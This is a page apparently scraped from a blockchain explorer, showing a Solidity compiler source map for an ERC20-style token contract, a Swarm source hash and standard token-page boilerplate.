61:6;7832:9;:36::i;:::-;-1:-1:-1;;;;;7908:19:0;;7881:24;7908:19;;;:11;:19;;;;;;;;3866:10;7908:33;;;;;;;;7974:26;;;;7952:113;;;;-1:-1:-1;;;7952:113:0;;3704:2:1;7952:113:0;;;3686:21:1;3743:2;3723:18;;;3716:30;3782:34;3762:18;;;3755:62;-1:-1:-1;;;3833:18:1;;;3826:35;3878:19;;7952:113:0;;;;;;;;;8101:57;8110:6;3866:10;8151:6;8132:16;:25;8101:8;:57::i;:::-;-1:-1:-1;8189:4:0;;7675:526;-1:-1:-1;;;;7675:526:0:o;8209:297::-;3866:10;8324:4;8418:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8418:34:0;;;;;;;;;;8324:4;;8346:130;;8396:7;;8418:47;;8455:10;;8418:47;:::i;:::-;8346:8;:130::i;4648:157::-;4561:6;;-1:-1:-1;;;;;4561:6:0;3866:10;4561:22;4553:67;;;;-1:-1:-1;;;4553:67:0;;;;;;;:::i;:::-;4755:1:::1;4739:6:::0;;4718:40:::1;::::0;-1:-1:-1;;;;;4739:6:0;;::::1;::::0;4718:40:::1;::::0;4755:1;;4718:40:::1;4794:1;4769:28:::0;;-1:-1:-1;;;;;;4769:28:0::1;::::0;;4648:157::o;6436:87::-;6475:13;6508:7;6501:14;;;;;:::i;8514:466::-;3866:10;8634:4;8683:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8683:34:0;;;;;;;;;;8750:35;;;;8728:106;;;;-1:-1:-1;;;8728:106:0;;4736:2:1;8728:106:0;;;4718:21:1;4775:2;4755:18;;;4748:30;-1:-1:-1;;;4794:18:1;;;4787:51;4855:18;;8728:106:0;4534:345:1;8728:106:0;8870:67;3866:10;8893:7;8921:15;8902:16;:34;8870:8;:67::i;:::-;-1:-1:-1;8968:4:0;;8514:466;-1:-1:-1;;;8514:466:0:o;6915:216::-;7037:4;7059:42;3866:10;7083:9;7094:6;7059:9;:42::i;7566:101::-;4561:6;;-1:-1:-1;;;;;4561:6:0;3866:10;4561:22;4553:67;;;;-1:-1:-1;;;4553:67:0;;;;;;;:::i;:::-;7634:17:::1;:25:::0;;-1:-1:-1;;7634:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7566:101::o;4813:281::-;4561:6;;-1:-1:-1;;;;;4561:6:0;3866:10;4561:22;4553:67;;;;-1:-1:-1;;;4553:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4916:22:0;::::1;4894:110;;;::::0;-1:-1:-1;;;4894:110:0;;5086:2:1;4894:110:0::1;::::0;::::1;5068:21:1::0;5125:2;5105:18;;;5098:30;5164:34;5144:18;;;5137:62;-1:-1:-1;;;5215:18:1;;;5208:36;5261:19;;4894:110:0::1;4884:402:1::0;4894:110:0::1;5041:6;::::0;;5020:38:::1;::::0;-1:-1:-1;;;;;5020:38:0;;::::1;::::0;5041:6;::::1;::::0;5020:38:::1;::::0;::::1;5069:6;:17:::0;;-1:-1:-1;;;;;;5069:17:0::1;-1:-1:-1::0;;;;;5069:17:0;;;::::1;::::0;;;::::1;::::0;;4813:281::o;11097:471::-;11155:7;11400:6;11396:47;;-1:-1:-1;11430:1:0;11423:8;;11396:47;11455:9;11467:5;11471:1;11467;:5;:::i;:::-;11455:17;-1:-1:-1;11500:1:0;11491:5;11495:1;11455:17;11491:5;:::i;:::-;:10;11483:56;;;;-1:-1:-1;;;11483:56:0;;5888:2:1;11483:56:0;;;5870:21:1;5927:2;5907:18;;;5900:30;5966:34;5946:18;;;5939:62;-1:-1:-1;;;6017:18:1;;;6010:31;6058:19;;11483:56:0;5686:397:1;11483:56:0;11559:1;11097:471;-1:-1:-1;;;11097:471:0:o;11576:132::-;11634:7;11661:39;11665:1;11668;11661:39;;;;;;;;;;;;;;;;;:3;:39::i;9854:380::-;-1:-1:-1;;;;;9990:19:0;;9982:68;;;;-1:-1:-1;;;9982:68:0;;6290:2:1;9982:68:0;;;6272:21:1;6329:2;6309:18;;;6302:30;6368:34;6348:18;;;6341:62;-1:-1:-1;;;6419:18:1;;;6412:34;6463:19;;9982:68:0;6088:400:1;9982:68:0;-1:-1:-1;;;;;10069:21:0;;10061:68;;;;-1:-1:-1;;;10061:68:0;;6695:2:1;10061:68:0;;;6677:21:1;6734:2;6714:18;;;6707:30;6773:34;6753:18;;;6746:62;-1:-1:-1;;;6824:18:1;;;6817:32;6866:19;;10061:68:0;6493:398:1;10061:68:0;-1:-1:-1;;;;;10142:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10194:32;;1617:25:1;;;10194:32:0;;1590:18:1;10194:32:0;;;;;;;9854:380;;;:::o;8988:858::-;-1:-1:-1;;;;;9128:20:0;;9120:37;;;;-1:-1:-1;;;9120:37:0;;;;;;7098:2:1;7080:21;;;7137:1;7117:18;;;7110:29;-1:-1:-1;;;7170:2:1;7155:18;;7148:34;7214:2;7199:18;;6896:327;9120:37:0;-1:-1:-1;;;;;9176:23:0;;9168:52;;;;-1:-1:-1;;;9168:52:0;;7430:2:1;9168:52:0;;;7412:21:1;7469:2;7449:18;;;7442:30;-1:-1:-1;;;7488:18:1;;;7481:46;7544:18;;9168:52:0;7228:340:1;9168:52:0;9248:1;9239:6;:10;9231:33;;;;-1:-1:-1;;;9231:33:0;;7775:2:1;9231:33:0;;;7757:21:1;7814:2;7794:18;;;7787:30;-1:-1:-1;;;7833:18:1;;;7826:40;7883:18;;9231:33:0;7573:334:1;9231:33:0;9285:17;;;;9284:18;:39;;;;-1:-1:-1;4472:7:0;4499:6;-1:-1:-1;;;;;9306:17:0;;;4499:6;;9306:17;;9284:39;:63;;;;-1:-1:-1;4472:7:0;4499:6;-1:-1:-1;;;;;9327:20:0;;;4499:6;;9327:20;;9284:63;9280:147;;;9385:7;;-1:-1:-1;;;;;9372:20:0;;;9385:7;;9372:20;;9364:51;;;;-1:-1:-1;;;9364:51:0;;8114:2:1;9364:51:0;;;8096:21:1;8153:2;8133:18;;;8126:30;-1:-1:-1;;;8172:18:1;;;8165:48;8230:18;;9364:51:0;7912:342:1;9364:51:0;-1:-1:-1;;;;;9521:17:0;;9497:21;9521:17;;;:9;:17;;;;;;9557:23;;;;9549:47;;;;-1:-1:-1;;;9549:47:0;;8461:2:1;9549:47:0;;;8443:21:1;8500:2;8480:18;;;8473:30;-1:-1:-1;;;8519:18:1;;;8512:41;8570:18;;9549:47:0;8259:335:1;9549:47:0;-1:-1:-1;;;;;9632:17:0;;;;;;;:9;:17;;;;;;9652:22;;;9632:42;;9696:20;;;;;;;;:30;;9668:6;;9632:17;9696:30;;9668:6;;9696:30;:::i;:::-;;;;;;;;9761:9;-1:-1:-1;;;;;9744:35:0;9753:6;-1:-1:-1;;;;;9744:35:0;;9772:6;9744:35;;;;1617:25:1;;1605:2;1590:18;;1471:177;9744:35:0;;;;;;;;9109:737;8988:858;;;:::o;11716:223::-;11836:7;11871:12;11864:5;11856:28;;;;-1:-1:-1;;;11856:28:0;;;;;;;;:::i;:::-;-1:-1:-1;11895:9:0;11907:5;11911:1;11907;:5;:::i;:::-;11895:17;11716:223;-1:-1:-1;;;;;11716:223:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;842:173::-;910:20;;-1:-1:-1;;;;;959:31:1;;949:42;;939:70;;1005:1;1002;995:12;939:70;842:173;;;:::o;1020:254::-;1088:6;1096;1149:2;1137:9;1128:7;1124:23;1120:32;1117:52;;;1165:1;1162;1155:12;1117:52;1188:29;1207:9;1188:29;:::i;:::-;1178:39;1264:2;1249:18;;;;1236:32;;-1:-1:-1;;;1020:254:1:o;1653:328::-;1730:6;1738;1746;1799:2;1787:9;1778:7;1774:23;1770:32;1767:52;;;1815:1;1812;1805:12;1767:52;1838:29;1857:9;1838:29;:::i;:::-;1828:39;;1886:38;1920:2;1909:9;1905:18;1886:38;:::i;:::-;1876:48;;1971:2;1960:9;1956:18;1943:32;1933:42;;1653:328;;;;;:::o;2175:186::-;2234:6;2287:2;2275:9;2266:7;2262:23;2258:32;2255:52;;;2303:1;2300;2293:12;2255:52;2326:29;2345:9;2326:29;:::i;2574:260::-;2642:6;2650;2703:2;2691:9;2682:7;2678:23;2674:32;2671:52;;;2719:1;2716;2709:12;2671:52;2742:29;2761:9;2742:29;:::i;:::-;2732:39;;2790:38;2824:2;2813:9;2809:18;2790:38;:::i;:::-;2780:48;;2574:260;;;;;:::o;2839:273::-;2895:6;2948:2;2936:9;2927:7;2923:23;2919:32;2916:52;;;2964:1;2961;2954:12;2916:52;3003:9;2990:23;3056:5;3049:13;3042:21;3035:5;3032:32;3022:60;;3078:1;3075;3068:12;3117:380;3196:1;3192:12;;;;3239;;;3260:61;;3314:4;3306:6;3302:17;3292:27;;3260:61;3367:2;3359:6;3356:14;3336:18;3333:38;3330:161;;;3413:10;3408:3;3404:20;3401:1;3394:31;3448:4;3445:1;3438:15;3476:4;3473:1;3466:15;3330:161;;3117:380;;;:::o;3908:127::-;3969:10;3964:3;3960:20;3957:1;3950:31;4000:4;3997:1;3990:15;4024:4;4021:1;4014:15;4040:128;4080:3;4111:1;4107:6;4104:1;4101:13;4098:39;;;4117:18;;:::i;:::-;-1:-1:-1;4153:9:1;;4040:128::o;4173:356::-;4375:2;4357:21;;;4394:18;;;4387:30;4453:34;4448:2;4433:18;;4426:62;4520:2;4505:18;;4173:356::o;5291:168::-;5331:7;5397:1;5393;5389:6;5385:14;5382:1;5379:21;5374:1;5367:9;5360:17;5356:45;5353:71;;;5404:18;;:::i;:::-;-1:-1:-1;5444:9:1;;5291:168::o;5464:217::-;5504:1;5530;5520:132;;5574:10;5569:3;5565:20;5562:1;5555:31;5609:4;5606:1;5599:15;5637:4;5634:1;5627:15;5520:132;-1:-1:-1;5666:9:1;;5464:217::o

Swarm Source

ipfs://b966a50e9f0e7d73cae2b747f582f7c1a46a7dc82b066d3885989afed0e94706
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.